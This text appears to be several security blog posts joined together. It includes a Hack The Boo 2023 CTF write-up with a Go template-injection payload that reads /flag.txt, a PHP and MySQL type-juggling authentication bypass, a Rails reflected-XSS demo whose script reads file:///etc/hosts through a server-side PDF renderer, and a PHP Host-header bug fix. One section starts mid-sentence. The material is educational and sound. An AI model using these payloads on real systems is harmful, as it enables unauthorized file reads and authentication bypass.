Hack The Boo 2023 was a CTF event held by hackthebox, I never really participated in any public CTF events but always wanted to try it.

In this post I’ll explain how I solved a few interesting challenges.

Spellbrewery

This challenge was a reverse engineering one. It gave us a zip file with a Dotnet app and a DLL file. When executing the app you’d get a prompt like this:

1. List Ingredients
2. Display Current Recipe
3. Add Ingredient
4. Brew Spell
5. Clear Recipe
6. Quit

The objective is to brew a spell with the correct ingredients, that should give us the flag. By brewing the spell with the wrong ingredients we get a error message and nothing else.

After some googling I found out that ILSpy might be a good tool to decompile Dotnet apps. After setting it up I managed to decompile the DLL. Inside it I found the implementation of the brewSpell method:

private static void BrewSpell()
{
    if (recipe.get_Count() < 1)
    {
        Console.WriteLine("You can't brew with an empty cauldron");
        return;
    }
    byte[] array = Enumerable.ToArray<byte>(Enumerable.Select<Ingredient, byte>((System.Collections.Generic.IEnumerable<Ingredient>)recipe, (Func<Ingredient, byte>)((Ingredient ing) => (byte)(System.Array.IndexOf<string>(IngredientNames, ((object)ing).ToString()) + 32))));
    if (Enumerable.SequenceEqual<Ingredient>((System.Collections.Generic.IEnumerable<Ingredient>)recipe, Enumerable.Select<string, Ingredient>((System.Collections.Generic.IEnumerable<string>)correct, (Func<string, Ingredient>)((string name) => new Ingredient(name)))))
    {
        Console.WriteLine("The spell is complete - your flag is: " + Encoding.get_ASCII().GetString(array));
        Environment.Exit(0);
    }
    else
    {
        Console.WriteLine("The cauldron bubbles as your ingredients melt away. Try another recipe.");
    }
}

The correct variable there looks suspicious, turns out it’s a constant that we can inspect in the decompiled DLL:

private static readonly string[] correct = new string[36]
{
    "Phantom Firefly Wing", "Ghastly Gourd", "Hocus Pocus Powder", "Spider Sling Silk", "Goblin's Gold", "Wraith's Tear", "Werewolf Whisker", "Ghoulish Goblet", "Cursed Skull", "Dragon's Scale Shimmer",
    "Raven Feather", "Dragon's Scale Shimmer", "Zombie Zest Zest", "Ghoulish Goblet", "Werewolf Whisker", "Cursed Skull", "Dragon's Scale Shimmer", "Haunted Hay Bale", "Wraith's Tear", "Zombie Zest Zest",
    "Serpent Scale", "Wraith's Tear", "Cursed Crypt Key", "Dragon's Scale Shimmer", "Salamander's Tail", "Raven Feather", "Wolfsbane", "Frankenstein's Lab Liquid", "Zombie Zest Zest", "Cursed Skull",
    "Ghoulish Goblet", "Dragon's Scale Shimmer", "Cursed Crypt Key", "Wraith's Tear", "Black Cat's Meow", "Wraith Whisper"
};

After inputing that as the answer I got the flag!

Spookycheck

This one was also a reverse engineering challenge. It gave us a check.pyc file. In the Python world .pyc files are basically files with the compiled python bytecode, we can execute them as if they were a regular python script.

By running it we’d get the following prompt:

🎃 Welcome to SpookyCheck 🎃
🎃 Enter your password for spooky evaluation 🎃

After some research I found out that there’s a module included with Python that can be used for disassembly. I wrote the following short script to spit out the disassembled bytecode:

import dis
import marshal

with open('check.pyc', 'rb') as f:
    f.seek(16)
    dis.dis(marshal.load(f))

Here’s the full disassembled code:

  0           0 RESUME                   0

  1           2 LOAD_CONST               0 (b'SUP3RS3CR3TK3Y')
              4 STORE_NAME               0 (KEY)

  2           6 PUSH_NULL
              8 LOAD_NAME                1 (bytearray)
             10 LOAD_CONST               1 (b'\xe9\xef\xc0V\x8d\x8a\x05\xbe\x8ek\xd9yX\x8b\x89\xd3\x8c\xfa\xdexu\xbe\xdf1\xde\xb6\\')
             12 PRECALL                  1
             16 CALL                     1
             26 STORE_NAME               2 (CHECK)

  4          28 LOAD_CONST               2 (<code object transform at 0x1004ea1f0, file "check.py", line 4>)
             30 MAKE_FUNCTION            0
             32 STORE_NAME               3 (transform)

 10          34 LOAD_CONST               3 (<code object check at 0x1004eaa60, file "check.py", line 10>)
             36 MAKE_FUNCTION            0
             38 STORE_NAME               4 (check)

 13          40 LOAD_NAME                5 (__name__)
             42 LOAD_CONST               4 ('__main__')
             44 COMPARE_OP               2 (==)
             50 POP_JUMP_FORWARD_IF_FALSE    88 (to 228)

 14          52 PUSH_NULL
             54 LOAD_NAME                6 (print)
             56 LOAD_CONST               5 ('🎃 Welcome to SpookyCheck 🎃')
             58 PRECALL                  1
             62 CALL                     1
             72 POP_TOP

 15          74 PUSH_NULL
             76 LOAD_NAME                6 (print)
             78 LOAD_CONST               6 ('🎃 Enter your password for spooky evaluation 🎃')
             80 PRECALL                  1
             84 CALL                     1
             94 POP_TOP

 16          96 PUSH_NULL
             98 LOAD_NAME                7 (input)
            100 LOAD_CONST               7 ('👻 ')
            102 PRECALL                  1
            106 CALL                     1
            116 STORE_NAME               8 (inp)

 17         118 PUSH_NULL
            120 LOAD_NAME                4 (check)
            122 LOAD_NAME                8 (inp)
            124 LOAD_METHOD              9 (encode)
            146 PRECALL                  0
            150 CALL                     0
            160 PRECALL                  1
            164 CALL                     1
            174 POP_JUMP_FORWARD_IF_FALSE    13 (to 202)

 18         176 PUSH_NULL
            178 LOAD_NAME                6 (print)
            180 LOAD_CONST               8 ("🦇 Well done, you're spookier than most! 🦇")
            182 PRECALL                  1
            186 CALL                     1
            196 POP_TOP
            198 LOAD_CONST              10 (None)
            200 RETURN_VALUE

 20     >>  202 PUSH_NULL
            204 LOAD_NAME                6 (print)
            206 LOAD_CONST               9 ('💀 Not spooky enough, please try again later 💀')
            208 PRECALL                  1
            212 CALL                     1
            222 POP_TOP
            224 LOAD_CONST              10 (None)
            226 RETURN_VALUE

 13     >>  228 LOAD_CONST              10 (None)
            230 RETURN_VALUE

Disassembly of <code object transform at 0x1004ea1f0, file "check.py", line 4>:
  4           0 RESUME                   0

  5           2 LOAD_CONST               1 (<code object <listcomp> at 0x100451f10, file "check.py", line 5>)
              4 MAKE_FUNCTION            0

  7           6 LOAD_GLOBAL              1 (NULL + enumerate)
             18 LOAD_FAST                0 (flag)
             20 PRECALL                  1
             24 CALL                     1

  5          34 GET_ITER
             36 PRECALL                  0
             40 CALL                     0
             50 RETURN_VALUE

Disassembly of <code object <listcomp> at 0x100451f10, file "check.py", line 5>:
  5           0 RESUME                   0
              2 BUILD_LIST               0
              4 LOAD_FAST                0 (.0)
        >>    6 FOR_ITER                54 (to 116)

  7           8 UNPACK_SEQUENCE          2
             12 STORE_FAST               1 (i)
             14 STORE_FAST               2 (f)

  6          16 LOAD_FAST                2 (f)
             18 LOAD_CONST               0 (24)
             20 BINARY_OP                0 (+)
             24 LOAD_CONST               1 (255)
             26 BINARY_OP                1 (&)
             30 LOAD_GLOBAL              0 (KEY)
             42 LOAD_FAST                1 (i)
             44 LOAD_GLOBAL              3 (NULL + len)
             56 LOAD_GLOBAL              0 (KEY)
             68 PRECALL                  1
             72 CALL                     1
             82 BINARY_OP                6 (%)
             86 BINARY_SUBSCR
             96 BINARY_OP               12 (^)
            100 LOAD_CONST               2 (74)
            102 BINARY_OP               10 (-)
            106 LOAD_CONST               1 (255)
            108 BINARY_OP                1 (&)

  5         112 LIST_APPEND              2
            114 JUMP_BACKWARD           55 (to 6)
        >>  116 RETURN_VALUE

Disassembly of <code object check at 0x1004eaa60, file "check.py", line 10>:
 10           0 RESUME                   0

 11           2 LOAD_GLOBAL              1 (NULL + transform)
             14 LOAD_FAST                0 (flag)
             16 PRECALL                  1
             20 CALL                     1
             30 LOAD_GLOBAL              2 (CHECK)
             42 COMPARE_OP               2 (==)
             48 RETURN_VALUE

A few pieces stand out, first we have those two constants called KEY and CHECK.

There’s also a function called transform, with a parameter called flag that uses a list comprehension inside it, the list comprehension, seems like it’s iterating over the flag variable and transforming it by doing a bunch of operations with some using the KEY constant. After all that there’s a check function that calls transform over the flag variable and then checks it against the CHECK constant.

That seems to indicate that the CHECK constant has the encrypted flag, and it is encrypted using the KEY constant. So to get the flag we probably have to reverse the process. Here I decided to cheat a bit, I never laid eyes on Python bytecode before, but it all seemed rather structured and relatively higher leveled, so I wondered, if I give ChatGPT the bytecode for the transform function and the list comprehension, could it write me a script to reverse the process? Turns out it could, and here’s what it wrote:

KEY = b'SUP3RS3CR3TK3Y'
CHECK = b'\xe9\xef\xc0V\x8d\x8a\x05\xbe\x8ek\xd9yX\x8b\x89\xd3\x8c\xfa\xdexu\xbe\xdf1\xde\xb6\\'

def reverse_transform(byte_val, index):
    # Add 74
    byte_val += 74
    # XOR with the byte from KEY
    byte_val ^= KEY[(index + len(KEY)) % len(KEY)]
    # Subtract 24
    byte_val -= 24
    # Ensure it remains a byte value
    byte_val &= 255
    return byte_val

original_input = bytearray()
for i, byte_val in enumerate(CHECK):
    original_input.append(reverse_transform(byte_val, i))

print(original_input.decode())

It worked on the first try and I got the flag! Thanks ChatGPT!

Ghostly Templates

This was a web challenge. They gave us a Golang app that looks like this:

package main

import (
	"encoding/json"
	"fmt"
	"html/template"
	"io"
	"net/http"
	"os"
	"os/exec"
	"path/filepath"
	"strings"
)

const WEB_PORT = "1337"
const TEMPLATE_DIR = "./templates"

type LocationInfo struct {
	Status      string  `json:"status"`
	Country     string  `json:"country"`
	CountryCode string  `json:"countryCode"`
	Region      string  `json:"region"`
	RegionName  string  `json:"regionName"`
	City        string  `json:"city"`
	Zip         string  `json:"zip"`
	Lat         float64 `json:"lat"`
	Lon         float64 `json:"lon"`
	Timezone    string  `json:"timezone"`
	ISP         string  `json:"isp"`
	Org         string  `json:"org"`
	AS          string  `json:"as"`
	Query       string  `json:"query"`
}

type MachineInfo struct {
	Hostname      string
	OS            string
	KernelVersion string
	Memory        string
}

type RequestData struct {
	ClientIP     string
	ClientUA     string
	ServerInfo   MachineInfo
	ClientIpInfo LocationInfo `json:"location"`
}

func GetServerInfo(command string) string {
	out, err := exec.Command("sh", "-c", command).Output()
	if err != nil {
		return ""
	}
	return string(out)
}

func (p RequestData) GetLocationInfo(endpointURL string) (*LocationInfo, error) {
	resp, err := http.Get(endpointURL)
	if err != nil {
		return nil, err
	}

	defer resp.Body.Close()

	if resp.StatusCode != http.StatusOK {
		return nil, fmt.Errorf("HTTP request failed with status code: %d", resp.StatusCode)
	}

	body, err := io.ReadAll(resp.Body)
	if err != nil {
		return nil, err
	}

	var locationInfo LocationInfo
	if err := json.Unmarshal(body, &locationInfo); err != nil {
		return nil, err
	}

	return &locationInfo, nil
}

func (p RequestData) IsSubdirectory(basePath, path string) bool {
	rel, err := filepath.Rel(basePath, path)
	if err != nil {
		return false
	}
	return !strings.HasPrefix(rel, ".."+string(filepath.Separator))
}

func (p RequestData) OutFileContents(filePath string) string {
	data, err := os.ReadFile(filePath)
	if err != nil {
		return err.Error()
	}
	return string(data)
}

func readRemoteFile(url string) (string, error) {
	response, err := http.Get(url)
	if err != nil {
		return "", err
	}

	defer response.Body.Close()

	if response.StatusCode != http.StatusOK {
		return "", fmt.Errorf("HTTP request failed with status code: %d", response.StatusCode)
	}

	content, err := io.ReadAll(response.Body)
	if err != nil {
		return "", err
	}

	return string(content), nil
}

func getIndex(w http.ResponseWriter, r *http.Request) {
	http.Redirect(w, r, "/view?page=index.tpl", http.StatusMovedPermanently)
}

func getTpl(w http.ResponseWriter, r *http.Request) {
	var page string = r.URL.Query().Get("page")
	var remote string = r.URL.Query().Get("remote")

	if page == "" {
		http.Error(w, "Missing required parameters", http.StatusBadRequest)
		return
	}

	reqData := &RequestData{}

	userIPCookie, err := r.Cookie("user_ip")
	clientIP := ""

	if err == nil {
		clientIP = userIPCookie.Value
	} else {
		clientIP = strings.Split(r.RemoteAddr, ":")[0]
	}

	userAgent := r.Header.Get("User-Agent")

	locationInfo, err := reqData.GetLocationInfo("https://freeipapi.com/api/json/" + clientIP)

	if err != nil {
		http.Error(w, "Could not fetch IP location info", http.StatusInternalServerError)
		return
	}

	reqData.ClientIP = clientIP
	reqData.ClientUA = userAgent
	reqData.ClientIpInfo = *locationInfo
	reqData.ServerInfo.Hostname = GetServerInfo("hostname")
	reqData.ServerInfo.OS = GetServerInfo("cat /etc/os-release | grep PRETTY_NAME | cut -d '\"' -f 2")
	reqData.ServerInfo.KernelVersion = GetServerInfo("uname -r")
	reqData.ServerInfo.Memory = GetServerInfo("free -h | awk '/^Mem/{print $2}'")

	var tmplFile string

	if remote == "true" {
		tmplFile, err = readRemoteFile(page)

		if err != nil {
			http.Error(w, "Internal Server Error", http.StatusInternalServerError)
			return
		}
	} else {
		if !reqData.IsSubdirectory("./", TEMPLATE_DIR+"/"+page) {
			http.Error(w, "Internal Server Error", http.StatusInternalServerError)
			return
		}

		tmplFile = reqData.OutFileContents(TEMPLATE_DIR + "/" + page)
	}

	tmpl, err := template.New("page").Parse(tmplFile)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}

	err = tmpl.Execute(w, reqData)
	if err != nil {
		http.Error(w, "Internal Server Error", http.StatusInternalServerError)
		return
	}
}

func main() {
	mux := http.NewServeMux()

	mux.HandleFunc("/", getIndex)
	mux.HandleFunc("/view", getTpl)
	mux.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

	fmt.Println("Server started at port " + WEB_PORT)
	http.ListenAndServe(":"+WEB_PORT, mux)
}

Just like the other web challenge the flag was in a file inside the root of the container.

Basically the app exposes three things:

• The index route which just redirects to the view route.
• The view route which populates the RequestData struct and renders a template using it as data.
• The static route which is used to serve static content to the app.

The interesting route here is the view one, it has a bunch of interesting stuff, first of all the template is user supplied data, you can either specify a local template that’s already in the app, or give it a url so it can download a template to render.

The first thing that called my attention was the IsSubdirectory function, my first thought was that if I could bypass the traversal protections there we could simply get the app the render the flag.txt file as a template and we’d see the flag. I had no luck bypassing it though so I decided to change my strategy.

After reading a bit about golang html/templates I learned that if you send a struct to the template context inside the template you get access to all the functions for that struct. If you look at the RequestData functions you’ll see that OutFileContents is one of them, this function will accept a single parameter containing a file path and will return the contents of the file, exactly what we need, how convenient!

To exploit it we simply need to host somewhere a template that looks like this:

<html> 
<div>
{{ .OutFileContents "/flag.txt" }}
</div>
</html>

I used pastebin to upload the template and using it’s url I got the flag.

For example, that allows the comparison 1 == "1" in PHP to evaluate to true. That can however be exploited in malicious ways.

Let’s make a PHP script that’s vulnerable to better understand the problem:

<?php
$server_secret = "verysecretstring";

$params = json_decode($_GET['params'], true);

if ($params['secret'] != $server_secret) {
        echo "Wrong secret";
        exit;
}

echo "Correct secret";

In this script the $params variable receives a deserialized json string, then we check the value of the secret parameter against the server secret, if it’s the same string then the rest of the request is processed, if not we return an error.

Normally an user will send the secret as a string inside the json, and that will work as intended, but what happens if we change the type to something else? How will the server deal with this? Let’s try it out and see what happens:

{
  "secret": true
}

If we try that we’ll get Correct secret as the output.

This happens because in PHP (boolean)"anystring" evaluates as true. Before doing the comparison the string is casted to boolean so it ends up as true == true which is a truthy statement. So in this case you can use type juggling to bypass the authentication. One way to avoid this is to use the === and !== operators for comparisons, this will check the type as well as the value and no implicit casting will be done. If we change the operator in our test script and send the same json that allowed the type juggle before we’ll get Wrong secret as the output.

One thing most people don’t realize is that you can exploit this down the stack as well. Let’s create a table in MySQL called users, this table has an api_token column which is a varchar column:

CREATE TABLE Users (
id int UNSIGNED AUTO_INCREMENT PRIMARY KEY,
api_token VARCHAR(30) NOT NULL,
index(api_token)
);

The api_token column is used to authenticate an user, every time someone makes a request we send the user supplied token to the application which then queries the database and authenticates the user if there is a match.

Let’s insert an user:

INSERT INTO Users (api_token) VALUES ('5d458fc4641360a8b46b2226507252');

What happens if we query this table passing something that’s not a string to compare to api_token?

SELECT * FROM Users where api_token = 5

This will yield the following result:

+----+--------------------------------+
| id | api_token                      |
+----+--------------------------------+
|  1 | 5d458fc4641360a8b46b2226507252 |
+----+--------------------------------+
1 row in set, 1 warning (0.00 sec)

This happens because the api_token column ends up being casted to integer, this cast will end up resulting in a numeric 5 because this string starts with an 5:

SELECT CAST("5d458fc4641360a8b46b2226507252" AS int);

+--------------------------------------------------+
| CAST("5d458fc4641360a8b46b2226507252" AS SIGNED) |
+--------------------------------------------------+
|                                                5 |
+--------------------------------------------------+

This is why you should always double check your application when you do serialization of user input. Even if your application is not exploitable to type juggling issues something down your stack such as the database may be exploitable and the damage could be significant, in this example an unauthorized user could end up authenticating as a user without knowing the api_token.

There are two main types of XSS exploits, reflected and persisted. Persisted ones are when the malicious script is saved into a database somewhere and the malicious payload is injected every time the page is open. A practical example would be a discussion forum where the post text is not sanitized, if someone injects javascript by using the text from a post everytime someone opened that thread the payload would execute in the browser of whoever opened it.

The reflected kind occurs when the application received data from the HTTP request and immediately sends that data in the response in an unsafe way. This type of XSS is usually exploited by creating a phishing link that will send the user to the actual legit site but with the malicious payload encoded in the link.

People tend to underestimate the impact of reflected XSS exploits. But what if I told you that in some instances it’s possible to expose sensitive data from the server by using a reflected XSS exploit? Let’s create a vulnerable application using Ruby on Rails and let’s attack it!

rails new xss-serverside

This will create a new rails app. Now we need a controller that will accept a query string parameter and output it into the response HTML without sanitizing it.

Let’s create a new controller:

rails generate controller name

Now let’s edit the newly created NameController to accept a parameter from the query string:

class NameController < ApplicationController
  def show
    @name = params[:name]
  end
end

Let’s create a view that will output that parameter unsafely allowing for an reflective XSS, we can do this by creating the views/name/show.erb file and output the variable using the raw method which will output it without any sanitization:

<h1>Hello!</h1>
<p><%= raw @name %></p>

We also need to create a route that will call the show method for the NameController, we do this by adding the following line to our routes.rb file:

get 'name', action: :show, controller: 'name'

If we run the application now and access the newly created route we can pass anything in the name query string parameter and see it reflected in the html:

If we pass javascript such as <script>alert('Hello XSS!');</script> (If you’re actually following this guide from home don’t forget that you need to url encode the script before passing it in the name parameter) we’ll get a nice alert showing us that we can inject javascript in the page and get it executed:

Some web apps have features where they will generate PDFs or pictures out of some of their pages. This is usually done for reports or things like that. Usually that works by inputting the generated html to some sort of headless browser which will then output the PDF that is downloaded by the final user. As the headless browser in this scenario usually runs in the server the javascript will run on the server, and that could have catastrophic results.

Let’s add that to our vulnerable app so I can demonstrate, first let’s add the following gem to our Gemfile:

gem 'wicked_pdf'

This gem works by using wkhtmltopdf to generate the pdf. This tool basically runs a headless webkit and outputs the pdf based on the input html.

We need to run the following generator to create the gem initializer:

rails generate wicked_pdf

Now we need to change our controller to use the gem:

class NameController < ApplicationController
  def show
    @name = params[:name]

    respond_to do |format|
      format.html
      format.pdf do
        render pdf: "name"
      end
    end
  end
end

Now if we append .pdf to our url before the query string the result will be a PDF generated from the view’s html:

This is where the fun begins, now if we use our XSS to inject javascript to the html and request it to be converted to PDF that javascript will be executed server-side, let’s try fetching a file from the filesystem by injecting the following javascript:

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/hosts");
x.send();
</script>

If we open it by requesting the PDF output we’ll get a PDF with the contents of the file:

This can be used by an attacker to get logs, code, maybe credentials and other juicy stuff. This could probably be used for server side request forgeries as well.

That’s why you should never underestimate any sort of XSS vulnerabilities in your system. If your application does any sort of rendering server side by using a headless browser you’re way more vulnerable than you think.

I was deploying some code once and I noticed something weird in the logs. Some requests had two Host headers once they arrived in the release candidate server. Normally we simply copy the headers that came from the original request, so the request should arrive in the release candidate with the host header containing the url of the original server. In the cases where two Hosts were present the top one was the url of the release candidate server and the second one was the original one containing the original api server. This puzzled me, the code I was modifying had nothing to do with the proxying mechanism, and after looking at older logs I found out that this always occurred a few times. Since this mechanism is critical to the safety of our deploys I dropped everything and started to investigate.

Naturally I assumed that the bug was somewhere in our proxying code, after digging for a while I couldn’t find anything wrong with the code. This is the function we use to rewrite the Header of the request to the release candidate with the original host:

private static function adjustRequestTarget(RequestInterface $request): RequestInterface {
  $original_host = $request->getHeaderLine('Host');
  $new_uri = $request->getUri()->withHost(static::getReleaseCandidateInstanceHost());
  return $request
    ->withUri($new_uri)
    ->withHeader('Host', $original_host);
}

We are using Guzzle as the http client. Internally the headers are represented as an array inside the class GuzzleHttp\Psr7\Request. I noticed that when calling the withHeader function the Host header is shifted to the end of array, but regardless of this detail I couldn’t reproduce the issue when testing locally with the exact same requests that caused the problem in production.

I ended up noticing something pretty interesting. The stream option being passed during the request was different on my tests than the production code, this made guzzle use a different http handler, with stream set as true it uses the PHP stream handler, with it set as false it uses cURL, I was testing it with false, changing it to true made me able to reproduce the issue when replaying a request that caused the problem in production, now I just needed to drill down enough in the code that was called to determine what was causing the problem.

After cloning the PHP source and reading for a while I finally found the culprit, the problem is caused by a combination of the change of header array order that the previously referenced adjustRequestTarget function causes, and the way the http fopen wrapper handles the http headers.

Inside the http_fopen_wrapper.c code we have these two interesting snippets:

if ((s = strstr(t, "host:")) &&
                (s == t || *(s-1) == '\r' || *(s-1) == '\n' ||
                             *(s-1) == '\t' || *(s-1) == ' ')) {
                 have_header |= HTTP_HEADER_HOST;
            }

/* Send Host: header so name-based virtual hosts work */
if ((have_header & HTTP_HEADER_HOST) == 0) {
    smart_str_appends(&req_buf, "Host: ");
    smart_str_appends(&req_buf, ZSTR_VAL(resource->host));
    if ((use_ssl && resource->port != 443 && resource->port != 0) ||
        (!use_ssl && resource->port != 80 && resource->port != 0)) {
        smart_str_appendc(&req_buf, ':');
        smart_str_append_unsigned(&req_buf, resource->port);
    }
    smart_str_appends(&req_buf, "\r\n");
}

The first snippet searches in the header string for an instance of the host: string in the beginning of a line, if it finds one there then it enables the have_header HTTP_HEADER_HOST flag, later the second snippet checks that flag and if it’s not enabled then it appends a Host header with the target address.

Turns out that all the affected requests had a header with the string host: somewhere in them before the Host header (which was shifted to the end of array due to us changing it back to the original host), this made the check fail and the wrapper thought we didn’t have a host header because strstr only returns the first instance of a string. So the wrapper ended up appending a new Host header with the target url and it still sends the one that we were trying to send originally causing the issue.

The following test script:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"RandomHeader: foobar\r\n" .
              "Cookie: foo=bar\r\n" .
              "Host: c764dd43.ngrok.io  \r\n"
  )
);
$context = stream_context_create($opts);
$fp = fopen('http://c764dd43.ngrok.io', 'r', false, $context);
fpassthru($fp);

Will generate the following raw headers:

GET / HTTP/1.0
RandomHeader: foobar
Cookie: foo=bar
Host: c764dd43.ngrok.io
X-Forwarded-For: 2804:14c:8781:8c3a:3805:2fbe:1845:15e6

Now if we change the RandomHeader value to something that contains the host: string:

<?php
$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"RandomHeader: localhost:8080\r\n" .
              "Cookie: foo=bar\r\n" .
              "Host: testcustomheader  \r\n"
  )
);
$context = stream_context_create($opts);
$fp = fopen('http://c764dd43.ngrok.io', 'r', false, $context);
fpassthru($fp); (edited)

We’ll get two Host headers in the raw request:

GET / HTTP/1.0
Host: c764dd43.ngrok.io
RandomHeader: localhost:8080
Cookie: foo=bar
Host: testcustomhostheader
X-Forwarded-For: 2804:14c:8781:8c3a:3805:2fbe:1845:15e6

According to the RFC 7320 a server must respond with a 400 (bad request) to requests that contain more than one Host header, so every request affected by this bug should break on a properly implemented server.

With this information I decided to open a bug on the PHP issue tracker. After a few days of inactivity I decided I had enough knowledge to try to implement a fix myself!

I cloned the PHP git repository from github and compiled it from the master branch.

I changed the snippet that checks if the host header is present to check for every occurence of the string:

while ((s = strstr(s, "host:"))) {
	if (s == t || *(s-1) == '\r' || *(s-1) == '\n' ||
	                 *(s-1) == '\t' || *(s-1) == ' ') {
		 have_header |= HTTP_HEADER_HOST;
	}
	s++;
}

I recompiled, ran the test script again and it worked! Now I needed to find out the project contributing guidelines.

I found out that PHP has a test suite composed by phpt files, these files are a mixture of plaintext and php with different sections. The most important sections are FILE and EXPECTED, inside the file section there should be a PHP script that should output something to stdout. The EXPECTED section contains the expected output, the test script then compares the output produced by the script inside FILE to the output on the EXPECTED section, if they match the test passes, if they don’t then it fails. It’s very simple and effective. I changed the script I was using to reproduce the issue to become a .phpt file so we could have automated tests for this bug:

--TEST--
Bug #79265 (Improper injection of Host header when using fopen for http requests)
--INI--
allow_url_fopen=1
--SKIPIF--

--FILE--
<?php
require 'server.inc';

$responses = array(
    "data://text/plain,HTTP/1.0 200 OK\r\n\r\n",
);

$pid = http_server("tcp://127.0.0.1:12342", $responses, $output);

$opts = array(
  'http'=>array(
    'method'=>"GET",
    'header'=>"RandomHeader: localhost:8080\r\n" .
              "Cookie: foo=bar\r\n" .
              "Host: userspecifiedvalue\r\n"
  )
);
$context = stream_context_create($opts);
$fd = fopen('http://127.0.0.1:12342/', 'rb', false, $context);
fseek($output, 0, SEEK_SET);
echo stream_get_contents($output);
fclose($fd);

http_server_kill($pid);

?>
--EXPECT--
GET / HTTP/1.0
Connection: close
RandomHeader: localhost:8080
Cookie: foo=bar
Host: userspecifiedvalue

I commited the fix alongside with the test script and opened a pull request. It was merged a few hours later.